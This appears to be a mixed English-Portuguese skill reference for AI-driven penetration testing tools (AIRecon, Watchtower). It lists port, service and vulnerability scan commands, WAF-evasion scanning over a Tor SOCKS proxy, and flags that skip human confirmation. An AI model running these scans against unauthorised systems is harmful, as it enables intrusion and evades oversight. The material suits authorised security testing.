/ai airecon "/naabu-scan target.com"
/ai airecon "/naabu-scan target.com -p 80,443,8080,8443"
/ai airecon "/naabu-scan target.com -p -"
/ai airecon "/naabu-scan target.com -o scan-results.json"
MCP Tool Integration for Network Scanning
airecon "run nmap scan on target.com with version detection"
airecon "run naabu scan on target.com with all ports"
airecon "run pentestswarm quick_recon on target.com"
airecon "run masscan on 192.168.0.0/16 at high speed"
Workflow: AIRecon + Naabu + Nettacker
airecon "naabu scan target.com -p - -silent"
airecon "nettacker scan target.com with vuln modules on discovered ports"
airecon "consolidate naabu and nettacker results into unified report"
Auto-Skill Loading for Network Scanning Keywords
| Keywords | Skills Loaded | MCP Tools |
|---|
naabu, port scan, network scan | pentest-network-scanning.md | hexstrike-local (nmap_scan, naabu_scan, rustscan_fast_scan) |
nettacker, OWASP, CVE scan | pentest-network-scanning.md, pentest-vulnerability-analysis.md | hexstrike-local (nuclei_scan, nikto_scan) |
hping3, evasion, firewall | pentest-network-scanning.md | hexstrike-local (optimize_tool_parameters_ai) |
subnet, CIDR, masscan | pentest-network-scanning.md | hexstrike-local (masscan_high_speed, arp_scan_discovery) |
subdomain, dns, enumeration | pentest-network-scanning.md, pentest-intelligence-gathering.md | hexstrike-local (subfinder_scan, amass_scan, dnsenum_scan) |
AIRecon Network Scan Templates
airecon "external footprint target.com using subfinder, naabu, httpx"
airecon "internal network scan 10.0.0.0/24 with arp and port scan"
airecon "DMZ network assessment for target.com with vulnerability scanning"
airecon "AWS network mapping for account with naabu and nmap"
AIRecon + pfSense Detection Workflow
airecon "scan firewall.target.com and detect if it's pfSense"
Error Handling and Retry Logic
airecon "scan target.com --rate-limit 100 --retry 3"
airecon "scan target.com --waf-evasion --proxy socks5://127.0.0.1:9050"
airecon "scan 192.168.1.0/24 --ping-before --timeout 5000"
AIRecon Network Scan Output Formats
airecon "scan target.com --output json > network-scan.json"
airecon "scan target.com --output markdown > network-scan.md"
airecon "scan target.com --output csv > network-scan.csv"
airecon "scan target.com --output graph > network-topology.json"
Referências PTES
- PTES Section 2.5: External Footprinting
- 2.5.1: Identifying IP Ranges
- 2.5.3: Passive Reconnaissance
- 2.5.4: Active Reconnaissance (Ping Sweeps, Port Scanning)
- PTES Section 3.1: Vulnerability Testing
- PTES Section 4.1: Precision Strike (Countermeasure Bypass)
🤖 Watchtower Integration for Network Scanning
Watchtower é um framework de penetration testing baseado em LangGraph com arquitetura multi-agente (Planner, Worker, Analyst) que automatiza network reconnaissance usando 23 ferramentas de segurança.
Invocando Watchtower para Network Scanning
python -m watchtower.main -t https://www.example.com --skip-ask-tools
python -m watchtower.main -t 192.168.1.0/24 --skip-ask-tools
python -m watchtower.main -t 10.0.0.0/8 --skip-ask-tools
Watchtower Slash Commands para Network Scanning
/watchtower-scan --target 192.168.1.0/24 --ports 1-1000
/watchtower-scan --target target.com --ports -
/watchtower-scan --target target.com --service-detect
/watchtower-scan --target target.com --ssl-analysis
/watchtower-scan --target target.com --waf-detect
MCP Tool Integration via Watchtower
Watchtower integra-se com MCP tools automaticamente durante network scanning:
Workflow Example: Full Network Scan com Watchtower
python -m watchtower.main -t 192.168.1.0/24 --skip-ask-tools
python -m watchtower.main --report "network_scan_report.pdf"
Workflow Example: pfSense Network Detection
python -m watchtower.main -t https://pfsense.target.com --skip-ask-tools
Workflow Example: cPanel/WHM Network Detection
python -m watchtower.main -t https://target.com:2087 --skip-ask-tools
Watchtower Auto-Skill Loading para Network Scanning
| Keywords Detectadas | Skills Carregadas | Watchtower Tools Ativadas |
|---|
port scan network | pentest-network-scanning | nmap, masscan, rustscan |
service detect | pentest-network-scanning | nmap -sV, whatweb |
ssl tls | pentest-vulnerability-analysis | testssl.sh, sslyze |
waf | pentest-network-scanning | wafw00f |
web probe | pentest-intelligence-gathering | httpx |
smb netbios | pentest-network-scanning | nbtscan, enum4linux, smbmap |
host discovery | pentest-network-scanning | arp-scan, nmap -sn |
high-speed | pentest-network-scanning | masscan |
Watchtower 23 Security Tools para Network Scanning
| Tool | Category | Use Case | Speed |
|---|
| nmap | Port Scanning | Service discovery, version detection | Moderate |
| masscan | Port Scanning | Internet-scale, high-speed scanning | Ultra-fast |
| rustscan | Port Scanning | Fast port discovery + nmap integration | Very fast |
| httpx | Web Probing | HTTP probing, title, tech detection | Fast |
| whatweb | Tech Detection | CMS, framework, server identification | Fast |
| wafw00f | WAF Detection | WAF fingerprinting | Fast |
| testssl.sh | SSL/TLS | Comprehensive SSL/TLS configuration | Moderate |
| sslyze | SSL/TLS | SSL certificate and protocol analysis | Fast |
| nuclei | Vuln Scanning | Template-based vulnerability detection | Fast |
| nikto | Web Scanning | Web server vulnerability assessment | Moderate |
| arp-scan | Host Discovery | Local network ARP scanning | Very fast |
| nbtscan | NetBIOS | NetBIOS name scanning | Fast |
| enum4linux | SMB | SMB user/share enumeration | Moderate |
| smbmap | SMB | SMB share enumeration | Fast |
| gobuster | Dir Bruteforce | Directory/file discovery | Fast |
| ffuf | Fuzzing | Web application fuzzing | Very fast |
Watchtower Network Scanning Strategies
┌─────────────────────────────────────────────────────────────┐
│ Watchtower Network Scanning Strategy │
└─────────────────────────────────────────────────────────────┘
│
┌─────────────────────┼─────────────────────┐
│ │ │
▼ ▼ ▼
┌───────────────┐ ┌─────────────────┐ ┌───────────────┐
│ Host Discovery│ │ Port Scanning │ │Service Detect │
│ │ │ │ │ │
│ - ARP scan │ │ - masscan (fast)│ │ - nmap -sV │
│ - ICMP ping │ │ - nmap (std) │ │ - whatweb │
│ - TCP SYN │ │ - rustscan │ │ - wafw00f │
└───────────────┘ └─────────────────┘ └───────────────┘
│
▼
┌─────────────────┐
│ Vuln Analysis │
│ │
│ - nuclei │
│ - nikto │
│ - testssl.sh │
└─────────────────┘
Watchtower + Naabu Combined Workflow
naabu -host target.com -p - -silent -j | tee naabu_ports.json
python -m watchtower.main -t https://target.com --skip-ask-tools
python -m watchtower.main --report "consolidated_network_report.pdf"
Watchtower + Nettacker Combined Workflow
docker run --rm -v $(pwd):/output owasp/nettacker \
-i target.com -m port_scan,*_vuln -o /output/nettacker.html
python -m watchtower.main -t https://target.com --skip-ask-tools
airecon "merge nettacker and watchtower findings"
Watchtower Performance Tuning
python -m watchtower.main -t 10.0.0.0/8 \
--rate-limit 1000 \
--skip-ask-tools
python -m watchtower.main -t 192.168.0.0/16 \
--threads 50 \
--skip-ask-tools
python -m watchtower.main -t target.com \
--timeout 30000 \
--skip-ask-tools
Watchtower Output Formats
python -m watchtower.main -t target.com \
--output json \
--skip-ask-tools \
-o scan_results.json
python -m watchtower.main -t target.com \
--report "network_scan_report.pdf" \
--skip-ask-tools
Watchtower Error Handling
Watchtower implementa retry logic e fallback automático:
Se ferramenta falha:
1. Retry com backoff exponencial (2s, 4s, 8s)
2. Fallback para ferramenta alternativa:
- nmap falha → masscan
- masscan falha → rustscan
- testssl.sh falha → sslyze
3. Reporta falha após 3 retries
4. Continua com próximas ferramentas
Watchtower + AIRecon Combined Workflow
airecon "plan network scan for 192.168.1.0/24"
python -m watchtower.main -t 192.168.1.0/24 --skip-ask-tools
airecon "analyze watchtower network scan findings"
python -m watchtower.main --report "final_network_report.pdf"
Watchtower Network Scan Templates
python -m watchtower.main -t target.com --skip-ask-tools
python -m watchtower.main -t 10.0.0.0/24 --skip-ask-tools
python -m watchtower.main -t dmz.target.com --skip-ask-tools
python -m watchtower.main -t cloud-target.com --skip-ask-tools
python -m watchtower.main -t 172.16.0.0/16 --skip-ask-tools
Watchtower pfSense-Specific Network Detection
python -m watchtower.main -t https://pfsense.target.com --skip-ask-tools
Watchtower cPanel/WHM Network Detection
python -m watchtower.main -t https://target.com --skip-ask-tools
Recursos Relacionados
/pentest-intelligence-gathering - OSINT e footprinting
/osint-investigation - Skill exclusiva de OSINT com pipeline de 5 estágios, asset graph, e técnicas avançadas
/pentest-vulnerability-analysis - Análise de vulnerabilidades com risk scoring (CVSS + EPSS + KEV + PoC)
/pentest-exploitation - Exploração com hping3/headi
/pentest-post-exploitation - Movimentação lateral e persistência
/security-commands - Comandos de segurança rápidos